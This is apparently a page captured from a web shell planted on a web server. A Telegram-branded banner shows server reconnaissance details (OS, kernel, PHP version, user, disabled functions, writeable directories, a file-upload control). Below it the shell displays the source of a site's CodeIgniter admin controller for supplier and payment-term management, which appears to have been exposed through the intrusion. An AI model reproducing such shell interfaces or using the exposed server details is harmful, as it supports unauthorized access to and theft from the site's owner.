https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/rabbithabit.com/public_html/application/controllers/admin/Supplier.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Supplier extends Admin_Controller {
        
    function __construct() {
        parent::__construct();  
        $this->load->model('supplier_m');

      //   if($this->data['role'] != 'admin' && $this->data['role'] != 'super admin') {
      //     show_404();
      // }

        if ($this->data['membership_type'] =="starter" || $this->data['membership_type'] =="business") {
            redirect('admin/dashboard');
        }
    }
        
    //this is to list all homepage
    public function index() {
        //load view
        $this->data['subview'] = 'admin/supplier/index';
        $this->load->view('admin/templates/header', $this->data_header); 
        $this->load->view('admin/_layout_main', $this->data);
        $this->load->view('admin/templates/footer');        
    }

    function supplier_list(){
        $this->data['supplier'] = $this->db->select('*')->from('supplier')->where('supplier_status',0)->order_by('supplier_name','ASC')->get()->result();
        //load view
        $this->data['subview'] = 'admin/supplier_list/index';
        $this->load->view('admin/templates/header', $this->data_header); 
        $this->load->view('admin/_layout_main', $this->data);
        $this->load->view('admin/templates/footer');
    }
    function supplier_add(){
        $this->data['brands']       = $this->db->select('*')->from('brands')->order_by('id_brands','ASC')->get()->result();
        $this->data['provinces']    = $this->db->select('*')->from('indonesia_provinces')->order_by('id_indonesia_provinces','ASC')->get()->result();

        $config = $this->supplier_m->rules;

        $this->load->library('form_validation');
        $this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled

        $this->form_validation->set_rules($config); 
        $this->form_validation->set_error_delimiters('<div class="error">', '</div>');

        if($this->form_validation->run($this) == TRUE) {
            $supplier = array(
                'supplier_name'             => $this->security->xss_clean($this->input->post('supplier_name')),
                'supplier_pemilik'          => $this->security->xss_clean($this->input->post('supplier_pemilik')), 
                'supplier_email'            => $this->security->xss_clean($this->input->post('supplier_email')), 
                'supplier_phone'            => $this->security->xss_clean($this->input->post('supplier_phone')), 
                'supplier_province_id'      => $this->security->xss_clean($this->input->post('supplier_province_id')), 
                'supplier_district_id'      => $this->security->xss_clean($this->input->post('supplier_district_id')), 
                'supplier_subdistrict_id'   => $this->security->xss_clean($this->input->post('supplier_subdistrict_id')), 
                'supplier_npwp'             => $this->security->xss_clean($this->input->post('supplier_npwp')), 
                'supplier_bank'             => $this->security->xss_clean($this->input->post('supplier_bank')), 
                'supplier_no_rekening'      => $this->security->xss_clean($this->input->post('supplier_no_rekening')), 
                'supplier_address'          => $this->security->xss_clean($this->input->post('supplier_address')), 
            );
            $supplier_id    = (int) $this->supplier_m->add_supplier($supplier);

            $brand          = $this->input->post('brand_id');
            $count_brand    = count($brand);
            if($brand != null){
                for ($a=0; $a < $count_brand; $a++) { 
                    $supplier_brand = array(
                        'supplier_id'   => $supplier_id, 
                        'brand_id'      => $brand[$a]
                    );
                    $this->db->insert('supplier_brand_list',$supplier_brand);
                }
            }
            $this->session->set_flashdata('success', '<br>
                <p style="background:green; color:white; padding:5px; font-weight:bold;">Add Supplier Success</p>');
            redirect('admin/supplier/supplier_list');
        }

        //load view
        $this->data['subview'] = 'admin/supplier_list/edit';
        $this->load->view('admin/templates/header', $this->data_header); 
        $this->load->view('admin/_layout_main', $this->data);
        $this->load->view('admin/templates/footer');
    }
    function supplier_edit($id){
        $this->data['edit']             = 'edit';
        $this->data['supplier']         = $this->db->select('*')->from('supplier')->where('id',$id)->order_by('supplier_name','ASC')->get()->row();
        $this->data['brands']           = $this->db->select('*')->from('brands')->order_by('id_brands','ASC')->get()->result();
        $this->data['chosen_brands']    = $this->db->select('*')->from('supplier_brand_list')->where('supplier_id',$id)->order_by('id','ASC')->get()->result();
        $this->data['provinces']        = $this->db->select('*')->from('indonesia_provinces')->order_by('id_indonesia_provinces','ASC')->get()->result();
        $this->data['districts']        = $this->db->select('*')->from('indonesia_districts')->where('indonesia_id_province',$this->data['supplier']->supplier_province_id)->order_by('id_indonesia_districts','ASC')->get()->result();
        $this->data['subdistricts']     = $this->db->select('*')->from('indonesia_subdistricts')->where('indonesia_id_district',$this->data['supplier']->supplier_district_id)->order_by('id_indonesia_subdistricts','ASC')->get()->result();

        $config = $this->supplier_m->rules;

        $this->load->library('form_validation');
        $this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled

        $this->form_validation->set_rules($config); 
        $this->form_validation->set_error_delimiters('<div class="error">', '</div>');

        if($this->form_validation->run($this) == TRUE) {
            $supplier = array(
                'supplier_name'             => $this->security->xss_clean($this->input->post('supplier_name')),
                'supplier_pemilik'          => $this->security->xss_clean($this->input->post('supplier_pemilik')), 
                'supplier_email'            => $this->security->xss_clean($this->input->post('supplier_email')), 
                'supplier_phone'            => $this->security->xss_clean($this->input->post('supplier_phone')), 
                'supplier_province_id'      => $this->security->xss_clean($this->input->post('supplier_province_id')), 
                'supplier_district_id'      => $this->security->xss_clean($this->input->post('supplier_district_id')), 
                'supplier_subdistrict_id'   => $this->security->xss_clean($this->input->post('supplier_subdistrict_id')), 
                'supplier_npwp'             => $this->security->xss_clean($this->input->post('supplier_npwp')), 
                'supplier_bank'             => $this->security->xss_clean($this->input->post('supplier_bank')), 
                'supplier_no_rekening'      => $this->security->xss_clean($this->input->post('supplier_no_rekening')), 
                'supplier_address'          => $this->security->xss_clean($this->input->post('supplier_address')), 
            );
            $this->supplier_m->edit_supplier($id,$supplier);

            /*delete current selected supplier brand*/
            $this->db->where('supplier_id',$id);
            $this->db->delete('supplier_brand_list');
            /*delete current selected supplier brand*/

            $brand          = $this->input->post('brand_id');
            $count_brand    = count($brand);
            if($brand != null){
                for ($a=0; $a < $count_brand; $a++) { 
                    $supplier_brand = array(
                        'supplier_id'   => $id, 
                        'brand_id'      => $brand[$a]
                    );
                    $this->db->insert('supplier_brand_list',$supplier_brand);
                }
            }
            $this->session->set_flashdata('success', '<br>
                <p style="background:green; color:white; padding:5px; font-weight:bold;">Update Supplier Success</p>');
            redirect('admin/supplier/supplier_list');
        }

        //load view
        $this->data['subview'] = 'admin/supplier_list/edit';
        $this->load->view('admin/templates/header', $this->data_header); 
        $this->load->view('admin/_layout_main', $this->data);
        $this->load->view('admin/templates/footer');
    }
    function supplier_delete($id){
        $supplier_status = array(
            'supplier_status' => 1, 
        );
        $this->db->where('id',$id);
        $this->db->delete('supplier');
        $this->session->set_flashdata('success', '<br>
            <p style="background:red; color:white; padding:5px; font-weight:bold;">Delete Supplier Success</p>');
        redirect('admin/supplier/supplier_list');
    }
    function ajax_get_district(){
        $id_province        = (int) $this->input->post('id_province');
        $data['district']   = $this->db->select('*')->from('indonesia_districts')->where('indonesia_id_province',$id_province)->get()->result();
        $this->load->view('admin/supplier_list/ajax_get_district', $data);
    }
    function ajax_get_subdistrict(){
        $id_district        = (int) $this->input->post('id_district');
        $data['subdistrict']= $this->db->select('*')->from('indonesia_subdistricts')->where('indonesia_id_district',$id_district)->get()->result();
        $this->load->view('admin/supplier_list/ajax_get_subdistrict', $data);
    }

    function syarat_pembayaran(){
        $this->data['syarat_pembayaran'] = $this->db->select('*')->from('syarat_pembayaran')->where('status','0')->order_by('id','ASC')->get()->result();
        //load view
        $this->data['subview'] = 'admin/syarat_pembayaran/index';
        $this->load->view('admin/templates/header', $this->data_header); 
        $this->load->view('admin/_layout_main', $this->data);
        $this->load->view('admin/templates/footer');
    }
    function syarat_pembayaran_add(){
        $config = $this->supplier_m->syarat_pembayaran_rules;

        $this->load->library('form_validation');
        $this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled

        $this->form_validation->set_rules($config); 
        $this->form_validation->set_error_delimiters('<div class="error">', '</div>');

        if($this->form_validation->run($this) == TRUE) {
            $syarat_pembayaran = array(
                'syarat_pembayaran_name'    => $this->security->xss_clean($this->input->post('syarat_pembayaran_name')),
                'syarat_pembayaran_value'   => $this->security->xss_clean($this->input->post('syarat_pembayaran_value')),
            );
            $this->db->insert('syarat_pembayaran',$syarat_pembayaran);

            $this->session->set_flashdata('success', '<br>
                <p style="background:green; color:white; padding:5px; font-weight:bold;">Add Syarat Pembayaran Success</p>');
            redirect('admin/supplier/syarat_pembayaran');
        }

        //load view
        $this->data['subview'] = 'admin/syarat_pembayaran/edit';
        $this->load->view('admin/templates/header', $this->data_header); 
        $this->load->view('admin/_layout_main', $this->data);
        $this->load->view('admin/templates/footer');
    }
    function syarat_pembayaran_edit($id){
        $this->data['edit']                 = 'edit';

        $this->data['syarat_pembayaran']    = $this->db->select('*')->from('syarat_pembayaran')->where('id',$id)->get()->row();

        $config = $this->supplier_m->syarat_pembayaran_rules;

        $this->load->library('form_validation');
        $this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled

        $this->form_validation->set_rules($config); 
        $this->form_validation->set_error_delimiters('<div class="error">', '</div>');

        if($this->form_validation->run($this) == TRUE) {
            $syarat_pembayaran = array(
                'syarat_pembayaran_value'   => $this->security->xss_clean($this->input->post('syarat_pembayaran_value')),
            );
            $this->db->where('id',$id);
            $this->db->update('syarat_pembayaran',$syarat_pembayaran);

            $this->session->set_flashdata('success', '<br>
                <p style="background:green; color:white; padding:5px; font-weight:bold;">Update Syarat Pembayaran Success</p>');
            redirect('admin/supplier/syarat_pembayaran');
        }

        //load view
        $this->data['subview'] = 'admin/syarat_pembayaran/edit';
        $this->load->view('admin/templates/header', $this->data_header); 
        $this->load->view('admin/_layout_main', $this->data);
        $this->load->view('admin/templates/footer');
    }
    function syarat_pembayaran_delete($id){
        $syarat_pembayaran_status = array(
            'status' => 1, 
        );
        $this->db->where('id',$id);
        $this->db->delete('syarat_pembayaran');
        $this->session->set_flashdata('success', '<br>
            <p style="background:red; color:white; padding:5px; font-weight:bold;">Delete Syarat Pembayaran Success</p>');
        redirect('admin/supplier/syarat_pembayaran');
    }

    function supplier_search(){
        $supplier_name = $this->input->post('supplier_name');
        $this->data['supplier'] = $this->db->select('*')->from('supplier')->like('supplier_name',$supplier_name)->where('supplier_status',0)->order_by('supplier_name','ASC')->get()->result();
        //load view
        $this->data['subview'] = 'admin/supplier_list/index';
        $this->load->view('admin/templates/header', $this->data_header); 
        $this->load->view('admin/_layout_main', $this->data);
        $this->load->view('admin/templates/footer');
    }
            
}

https://t.me/RX1948 - 2025